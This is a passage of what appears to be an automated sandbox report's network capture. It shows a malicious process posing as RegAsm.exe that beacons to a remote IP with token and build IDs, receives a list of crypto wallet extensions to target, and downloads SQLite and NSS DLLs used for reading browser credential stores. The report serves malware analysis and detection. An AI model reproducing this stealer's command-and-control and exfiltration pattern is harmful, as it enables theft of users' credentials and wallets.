name="token"439f0e0a3a749bfbbd57a3bb2fdbeb34------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="build_id"58cd250b15e666e5f72fcf5caa6cb131------DGCAAFBFBKFIDGDHJDBKCont
2024-09-25 16:00:29 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:00:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 16:00:29 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49718	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:29 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAFHCGIJECFHIDGDBKE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 7209 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:29 UTC	7209	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 39 66 30 65 30 61 33 61 37 34 39 62 66 62 62 64 35 37 61 33 62 62 32 66 64 62 65 62 33 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 38 63 64 32 35 30 62 31 35 65 36 36 36 65 35 66 37 32 66 63 66 35 63 61 61 36 63 62 31 33 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 Data Ascii: ------JDAFHCGIJECFHIDGDBKEContent-Disposition: form-data; name="token"439f0e0a3a749bfbbd57a3bb2fdbeb34------JDAFHCGIJECFHIDGDBKEContent-Disposition: form-data; name="build_id"58cd250b15e666e5f72fcf5caa6cb131------JDAFHCGIJECFHIDGDBKECont
2024-09-25 16:00:30 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:00:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 16:00:30 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49719	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:30 UTC	193	OUT	GET /sqlp.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:31 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:00:31 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Wednesday, 25-Sep-2024 16:00:31 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-25 16:00:31 UTC	16120	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-09-25 16:00:31 UTC	16384	IN	Data Raw: d3 b2 1e 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
2024-09-25 16:00:31 UTC	16384	IN	Data Raw: 24 10 8b c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 Data Ascii: $@:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhS
2024-09-25 16:00:31 UTC	16384	IN	Data Raw: 83 f9 39 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 Data Ascii: 9wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5
2024-09-25 16:00:32 UTC	16384	IN	Data Raw: 89 4c 24 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e Data Ascii: L$ D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-09-25 16:00:32 UTC	16384	IN	Data Raw: 8b 7c 24 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc Data Ascii: \|$2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-09-25 16:00:32 UTC	16384	IN	Data Raw: 24 10 83 c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: $td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-09-25 16:00:33 UTC	16384	IN	Data Raw: fe ff 83 c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-09-25 16:00:33 UTC	16384	IN	Data Raw: 1c 89 4a 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 Data Ascii: J,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
2024-09-25 16:00:33 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$
2024-09-25 16:00:33 UTC	16384	IN	DELETE FROM %Q.'%q_docsize' WHERE id=?SELECT sz%s FROM %Q.'%q_docsize' WHERE id=?REPLACE INTO %Q.'%q_config' VALUES(?,?)SELECT %s FROM %s AS T,?,originDROP TABLE IF EXISTS %Q.'%q_data';DROP TABLE IF EXISTS %Q.'%q_idx';DROP TABLE IF EXISTS %Q.'%q_config';DROP TABLE IF EXISTS %Q.'%q_docsize';DROP TABLE IF EXISTS %Q.'%q_content';ALTER TABLE %Q.'%q_%s' RENAME TO '%q_%s';CREATE TABLE %Q.'%q_%q'(%s)%sfts5: error creating shadow table %q_%s: %sid INTEGER PRIMARY KEY, c%did INTEGER PRIMARY KEY, sz BLOBid INTEGER PRIMARY KEY, sz BLOB, origin INTEGERk PRIMARY KEY, vDELETE FROM %Q.'%q_data';DELETE FROM %Q.'%q_idx';DELETE FROM %Q.'%q_docsize';SELECT count() FROM %Q.'%q_%s'tokencharsseparatorsL N* Cocategoriesremove_diacriticscase_sensitiveasciitrigramcolrowinstancefts5vocab: unknown table type: %Q [TRUNCATED] r:Y<\|=>MbP?\|^~?9RF??14????K(??? ?333333?-DT!?@@-DT!@!3\|@@@-DT!@@$@4@>@aTR'>@H@cL@Zd;M@Y@fffff^@r@v@@@p@@@@@@A`&A.A@}<A`FASA TAcApAdyAAeAA _B MB@dB/dB0CW4vCCC [TRUNCATED] i" i"$i"0i"8i"Di"Pi"\i"hi" xi"i"!i"i"i"i"i"i"i"i""i"!!i""!i"9"i"?"D!!i"!i"!i"i"i"i"i"i"i"i"j"j"j"j"j"j"j"j" j",j"8j"Dj"Pj"lj"xj"j"j"j"j" k"Dk"#pk"k" k"k"&l"0l"Dl"Hl"Pl"dl"#l"l"l"l"l"l"%,m"$Xm"%m"+m"m" n""0n"(dn"n"n"n"n"!n"o"0o"Ho"lo"!!9"i"i"D!lj"o"__based(__cdecl__pascal__stdcall__th [TRUNCATED] 9/I?hKd?81UH!G?#$0\|f?KRVnTUUUU?~I$I?gHB;E?q{?x? @ @??@>1\|MCatan2; cC($($($cC($000 cC6@cosUUUUUU?UUUUUU?llV4V>>m0_$@8C`a=`a=@T!?sp.c;`C<??i~@sinh!87Acosh(8UA7Gtanh!87Ay-8C8C0<0<+eGW@+eGW@B.?B.?:;=:;=t?ZfUUU?&WU?{?? [TRUNCATED] !5ACPRSWYlm pr )Y"\"\/"/X"""0"""T"v"""0"x""@"""v"","@"""api-ms-win-core-datetime-l1-1-1api-ms-win-core-file-l1-2-4api-ms-win-core-file-l1-2-2api-ms-win-core-localization-l1-2-1api-ms-win-core-localization-obsolete-l1-2-0api-ms-win-core-processthreads-l1-1-2api-ms-win-core-string-l1-1-0api-ms-win-core-sysinfo-l1-2-1api-ms-win-c [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49720	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:34 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:34 UTC	829	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 39 66 30 65 30 61 33 61 37 34 39 62 66 62 62 64 35 37 61 33 62 62 32 66 64 62 65 62 33 34 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 38 63 64 32 35 30 62 31 35 65 36 36 36 65 35 66 37 32 66 63 66 35 63 61 61 36 63 62 31 33 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 Data Ascii: ------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="token"439f0e0a3a749bfbbd57a3bb2fdbeb34------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="build_id"58cd250b15e666e5f72fcf5caa6cb131------CBKJKJDBFIIDHJKEHJEHCont
2024-09-25 16:00:35 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:00:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 16:00:35 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49722	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:37 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:37 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 39 66 30 65 30 61 33 61 37 34 39 62 66 62 62 64 35 37 61 33 62 62 32 66 64 62 65 62 33 34 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 38 63 64 32 35 30 62 31 35 65 36 36 36 65 35 66 37 32 66 63 66 35 63 61 61 36 63 62 31 33 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 Data Ascii: ------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="token"439f0e0a3a749bfbbd57a3bb2fdbeb34------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="build_id"58cd250b15e666e5f72fcf5caa6cb131------EHJKFCGHIDHCBGDHJKEBCont
2024-09-25 16:00:38 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:00:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 16:00:38 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49721	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:37 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGIIIDAKJDHJKFHIEBF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:37 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 39 66 30 65 30 61 33 61 37 34 39 62 66 62 62 64 35 37 61 33 62 62 32 66 64 62 65 62 33 34 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 38 63 64 32 35 30 62 31 35 65 36 36 36 65 35 66 37 32 66 63 66 35 63 61 61 36 63 62 31 33 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 Data Ascii: ------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="token"439f0e0a3a749bfbbd57a3bb2fdbeb34------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="build_id"58cd250b15e666e5f72fcf5caa6cb131------ECGIIIDAKJDHJKFHIEBFCont
2024-09-25 16:00:38 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:00:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 16:00:38 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49723	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:39 UTC	196	OUT	GET /freebl3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:39 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:00:39 GMT Content-Type: application/octet-stream Content-Length: 685392 Connection: close Last-Modified: Wednesday, 25-Sep-2024 16:00:39 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
